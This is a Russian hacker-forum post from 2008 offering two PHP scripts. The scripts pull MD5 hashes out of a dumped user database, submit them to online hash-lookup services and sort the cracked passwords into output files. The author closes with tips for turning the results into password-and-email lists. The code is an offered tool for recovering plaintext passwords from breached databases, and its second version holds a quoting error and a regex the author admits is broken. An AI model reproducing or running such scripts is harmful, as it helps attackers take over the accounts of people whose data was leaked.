|
Познающий
Регистрация: 06.08.2007
Сообщений: 85
С нами:
9875274
Репутация:
91
|
|
Скрипт хавает БД, вытягивает оттуда хэши, проверяет их на сервисе онлайн проверок и складывает по файликам(Найденное, ненайденное)
Если у кого очень слабая машина или по каким другим причинам пасс про и подобные проги юзать нет возможности, да еще и подождать могут, надеюсь те оценят скрипт... Медленный он из-за задержек после каждого 10го хэша, я бороться с этим уже устал поэтому выложу тут, вдруг кому пригодится или под себя поправит.
Версия для md5.xek.cc (предпочтительна)
PHP код:
<?php
if ($argc<4)
{
echo '========================================================================='."\n";
echo '========================================================================='."\n";
echo "Usage: $argv[0] <database> <found> <not_found>\n\n\n";
echo 'Where database.txt - path to database with'." ':' ".'separator,'."\n".'found.txt - path to file, where you will see found hashes,'."\n";
echo 'not_found.txt - path to file with hashes not found in md5.xek.cc database.'."\n";
echo '========================================================================='."\n";
echo '========================================================================='."\n";
die;
}
$id = 0;
$filename = "$argv[1]";
$filename2 = "$argv[2]";
$filename3 = "$argv[3]";
$of2 = fopen($filename2,"w+");
$of3 = fopen($filename3,"w+");
$all = count(file($filename));
echo " Database contains $all entries\n\n";
function post($data)
{
$buf = '';
$fp = @fsockopen('md5.xek.cc',80);
if ($fp) {
fputs($fp, 'POST /index.php HTTP/1.1'."\n");
fputs($fp, 'Host: md5.xek.cc'."\n");
fputs($fp, 'Content-type: application/x-www-form-urlencoded'."\n");
fputs($fp, 'Content-length: ' . strlen($data) . "\n");
fputs($fp, 'User-Agent: PHP Script'."\n");
fputs($fp, 'Connection: close'."\n\n");
fputs($fp, $data);
while(!feof($fp))
$buf .= fread($fp,2048);
preg_replace('/\W[b]\W[\n][0-9]{6}\W\W[b]\W/','',$buf);
fclose($fp);
return $buf;
}
else{
return 'Server is not responding!';
}
}
$content = join('',file($filename));
$fcontent = preg_replace("/\n/",":",$content);
preg_match_all('/[0-9a-z]{32}/',$fcontent, $whatfound);
while (@$whatfound[0][$id] != '')
{
$hash = $whatfound[0][$id];
$page = post("hash=$hash&act=find");
if (preg_match('/\W[b]\W(.{3,30})\W\W[b]\W/',$page,$matches))
{
$pass = $matches[1];
fputs($of2,"$id : $pass\n");
$status = '+';
}
else
{
fputs($of3,"$id : $hash\n");
$status = '';
}
$id += 1;
$checked = count(file($filename2)) + count(file($filename3));
echo " $checked$status\n";
}
@fclose($of1);
@fclose($of2);
@fclose($of3);
echo ' Done!'."\n";
$found = count(file($filename2));
echo ' ++++++++++++++++++++++++++'."\n";
echo " $found of $all hashes found!"."\n";
echo ' ++++++++++++++++++++++++++'."\n\n";
?>
Версия для hashkiller.com
PHP код:
<?php
if ($argc<4)
{
echo '========================================================================='."\n";
echo '========================================================================='."\n";
echo "Usage: $argv[0] <database> <found> <not_found>\n\n\n";
echo 'Where database.txt - path to database'."\n".'found.txt - path to file, where you will see found hashes,'."\n";
echo 'not_found.txt - path to file with hashes not found in hashkiller.com database.'."\n";
echo '========================================================================='."\n";
echo '========================================================================='."\n";
die;
}
$id = 0;
$filename = "$argv[1]";
$filename2 = "$argv[2]";
$filename3 = "$argv[3]";
$of2 = fopen($filename2,"w+");
$of3 = fopen($filename3,"w+");
$all = count(file($filename));
echo " Database contains $all entries\n\n";
function post($data)
{
$buf = '';
$fp = @fsockopen('hashkiller.com',80);
if ($fp) {
fputs($fp, 'POST /crack/ HTTP/1.1'."\n");
fputs($fp, 'Host: hashkiller.com."\n");
fputs($fp, 'Content-type: application/x-www-form-urlencoded'."\n");
fputs($fp, 'Content-length: ' . strlen($data) . "\n");
fputs($fp, 'User-Agent: PHP Script'."\n");
fputs($fp, 'Connection: close'."\n\n");
fputs($fp, $data);
while(!feof($fp))
$buf .= fread($fp,2048);
fclose($fp);
return $buf;
}
else{
return 'Server is not responding!';
}
}
$content = join('',file($filename));
$fcontent = preg_replace("/\n/",":",$content);
preg_match_all('/[0-9a-z]{32}/',$fcontent, $whatfound); #Ищем все хэши в базе
while (@$whatfound[0][$id] != '')
{
$hash = $whatfound[0][$id];
$page = post("md5_crack=;$hash&submit=Crack"); #Отправляем наш хэш
if (preg_match('/\w\w\w\w\W\W\W[a-z]{10}\W[a-z]{3}\W[a-z]{8}\W(.*)/',$page,$matches))
{
$pass = $matches[1];
fputs($of2,"$id : $pass\n");
$status = '+';
}
else
{
fputs($of3,"$id : $hash\n");
$status = '';
}
$id += 1;
$checked = count(file($filename2)) + count(file($filename3));
echo " $checked$status\n";
}
@fclose($of1);
@fclose($of2);
@fclose($of3);
echo ' Done!'."\n";
$found = count(file($filename2));
echo ' ++++++++++++++++++++++++++'."\n";
echo " $found of $all hashes found!"."\n";
echo ' ++++++++++++++++++++++++++'."\n\n";
?>
Можно и на многие многи другие сервисы переписать но вот нужно ли?
ЗЫ Чтобы все было в виде pass;mail юзайте ворд и эксель... Просто заменяйте разделителль на табуляцию, пихаете в эксель, сортируете по номеру ну а дальше разберетесь=)
EDIT: Упс, проморгал что сокет на версии для хэшкиллера конектился к мд5.хек.сс=))
С регекспом во второй версии какойто ужас.... Чет мне кажется пхп тег буянит 
Последний раз редактировалось SUBJECT617; 13.07.2008 в 19:46..
|